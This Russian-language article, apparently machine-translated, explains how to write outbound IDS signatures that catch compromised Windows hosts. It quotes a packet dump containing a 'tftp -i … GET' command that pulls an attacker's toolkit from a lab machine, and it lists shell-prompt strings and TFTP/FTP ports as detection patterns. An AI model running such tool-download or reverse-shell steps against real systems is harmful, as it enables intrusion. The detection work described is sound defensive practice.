Написание Egress-фильтров для IDS
Мы все слышали о нескончаемой серии взломов компьютеров, происходящих ежедневно. В то время как система обнаружения вторжений, скорее всего, зафиксировала атаку, как насчет компрометации, которую не зафиксировала IDS?
Сигнатуры исходящей фильтрации
Для тех из нас, кому посчастливилось заниматься любимым делом, то есть работать в области безопасности компьютерных сетей, есть одна неизбежная истина. Скорее всего, в тот или иной момент ваша сеть будет взломана. Игра в защиту, как мы, никогда не бывает такой «сексуальной», как злонамеренный хакер, который, кажется, получает всю прессу в газетах и онлайн-электронных журналах. Что ж, там, где злонамеренному хакеру повезет только один раз, мы, с другой стороны, должны работать с максимальной эффективностью каждый день. Как говорится, «защита всегда побеждает».
Недавно я написал серию статей, в которых показано, как может действовать полуквалифицированный хакер. Хотя этот параметр представлял собой злонамеренного хакера, атакующего домашних пользователей, то же самое легко могло произойти и с корпоративной сетью. На самом деле злоумышленник может получить гораздо больше, нацелившись на корпоративную сеть. Это может быть корпоративный шпион, который пытается украсть некоторые конфиденциальные данные или другую ценную информацию. Что общего у всех этих злоумышленников? Что ж, большинство из них всегда будут нацелены на службу, для которой затем требуется открыть порт на брандмауэре, а также на маршрутизаторе.
Проще говоря, открытый порт на маршрутизаторе/брандмауэре — это открытая дверь. Несмотря на то, что у нас могут быть установлены лучшие средства защиты, а также они могут быть многоуровневыми, всегда есть самый опасный из противников, то есть действительно опытный хакер. Есть ли что-нибудь, что вы можете сделать, чтобы защитить себя от этого цифрового самурая? Да есть на самом деле! Хотя злоумышленник может быть очень умным, он почти всегда оставляет после себя какие-то следы. Под этим я подразумеваю, что атака почти всегда будет видна на уровне пакетов. Как правило, ваша IDS помечает это переполнение буфера, строку формата, атаку канонизации и т. д. за то, что это такое. Даже если атака была достаточно запутана, чтобы обойти IDS, скажем, путем фрагментации эксплойта, после этого что-то произойдет. Что-то вообще предсказуемо.
Что я имею в виду под «чем-то» и что это предсказуемо? Что ж, давайте подумаем о том, что такое «конечное состояние» взлома. Обычно злоумышленник хочет получить приглашение DOS, через которое можно запускать произвольные команды на компьютере-жертве. Предпочтительно доступ на уровне SYSTEM. Реально это делается с помощью так называемой «обратной оболочки». Это означает, что зараженный компьютер отправит оболочку cmd.exe обратно на компьютер хакера. Существует также то, что называется передней оболочкой. Здесь хакер сам подключался к ожидающему сокету на компьютере-жертве. Из этих двух оболочек обратная оболочка предпочтительнее просто потому, что она позволяет обойти многие правила исходящей фильтрации брандмауэров.
Какова твоя точка зрения?
Вы можете спросить себя, какое, черт возьми, все вышеперечисленное имеет отношение к написанию выходных фильтров для ваших IDS? Ну, это имеет все, что связано с этим на самом деле. Чтобы эффективно защищаться, вы должны быть в состоянии предвидеть, что может сделать нападающий. Как я уже говорил раньше и повторю еще раз: «Чтобы защищаться, нужно уметь атаковать». Зная, что может сделать злоумышленник, взломавший компьютер, вы сможете защититься от него. В частности, вы сможете создавать эффективные сигнатуры исходящих IDS. Вы действительно должны предположить, что в конечном итоге вы столкнетесь с нарушением сети, и начать принимать эффективные контрмеры.
Теперь, как я упоминал выше, «Святой Грааль» большинства взломов заключается в получении оболочки, с помощью которой можно управлять компьютером жертвы. Что ж, будучи миром win32 (Windows NT, 2K, XP, K3), мы знаем, как выглядит приглашение DOS. Увидев, что большинство эксплойтов высокого уровня приводят к удаленному выполнению кода через приглашение DOS, мы можем написать наш первый выходной фильтр. Надеюсь, вы прочитали серию статей, на которую я дал гиперссылку выше. В нем вы увидите несколько снимков экрана, которые показывают, на чем мы будем основывать нашу исходящую подпись, т.е. c:
«c:» — это то, что вы обязательно увидите при выходе из вашей сети, если компьютер был взломан. Однако довольно часто вы увидите вариант «c:». В той же серии статей мы снова видим еще одну исходящую подпись, которую мы можем написать, т.е. c:winntsystem32>
Эта подпись также является еще одной, которая должна быть написана. Также включите его варианты, такие как просто c:winnt. А как насчет другой деятельности? Можем ли мы написать себе какие-то другие подписи на основе предсказуемой хакерской активности? Абсолютно! Узнав, как атаковать наши собственные сети в контролируемой среде, мы знаем, что есть одна ключевая вещь, которая должна произойти сразу после взлома системы.
Хакеры во многом предсказуемы
«Модус операнди» хакеров в значительной степени предсказуем просто потому, что цель взлома почти всегда одна и та же. Оказавшись на компьютере, они теперь в значительной степени начнут переносить свой «набор для опроса». Что входит в набор для обследования? Как правило, в наборе для обследования вы увидите сканер портов командной строки, кейлоггер, анализатор пакетов и другие инструменты для конкретных миссий. Таким образом, с этой передачей инструментов на скомпрометированный компьютер мы должны задаться вопросом, как это делается? В отличие от научной фантастики, где вы «просматриваете» свой набор для опроса, хакер почти всегда будет использовать один из двух методов. Первый будет выполняться с использованием TFTP, а второй — с использованием FTP.
11:36:37.171875 IP (tos 0x0, ttl 128, id 314, смещение 0, флаги [DF], proto: TCP (6), длина: 74) 192.168.1.104.1046 > 192.168.1.107.4321: P, cksum 0xa4e0 (верно), 2690682812:2690682846(34) акк 1194520483 выигрыш 64138
0x0000: 4500 004a 013a 4000 8006 7550 c0a8 0168 E..J.:@…uP…h
0x0010: c0a8 016b 0416 10e1 a060 8fbc 4732 efa3 …k…..`..G2..
0x0020: 5018 fa8a a4e0 0000 7466 7470 202d 6920 P……. tftp.-i.
0x0030: 3139 322e 3136 382e 312e 3130 3720 4745 192.168.1.107.GE
0x0040: 5420 6578 616d 706c 650a T.пример.
Во многих моих статьях, основанных на взломе, вы могли видеть, что я использовал TFTP для передачи своего «набора для опроса». Такое использование TFTP через TFTP-сервер оставляет хороший след, на котором мы можем написать подпись. Мы видим, что в пакете, который я включил выше, четко виден «tftp», и вы можете легко написать подпись. То же самое можно сказать и о FTP. Обычно FTP будет использоваться через «анонимный» вход в систему, или, если хакер умный, он настроит FTP-сервер на другом взломанном компьютере и защитит вход на него паролем. Таким образом, помимо букв ASCII для отключения мы также можем записать в подпись исходящие порты, которые обычно связаны с этими двумя службами, т. е. порт UDP 69 и порт TCP 21.
Свободный или тесный?
Моя самая большая претензия к сигнатурам IDS, поставляемым поставщиком, — это их «расплывчатость». Поставщик хочет написать широкую сигнатуру, которая, как он надеется, обнаружит эксплойт и, возможно, его варианты. Что ж, это похвальная цель, однако она также приводит к большому количеству ложных/положительных результатов. Я настоятельно рекомендую вам писать узкие подписи и компенсировать их краткими вариациями. Это поможет вам сократить эти ненавистные ложные/положительные результаты. Последний совет, который я хотел бы дать, — также писать сигнатуры для всех троянских программ высокого уровня. Трояны, такие как Optix-Pro и другие. Многие из них поставляются с прописанными в них портами по умолчанию, и часто злоумышленники даже не утруждают себя их изменением.
Вывод
Как вы видите, IDS — это гораздо больше, чем входящие сигнатуры. Вы можете многое сделать с фильтрацией исходящего трафика, чтобы еще больше укрепить свою сеть. Ну вот и все, и, как всегда, я буду рад вашим отзывам. До следующего раза!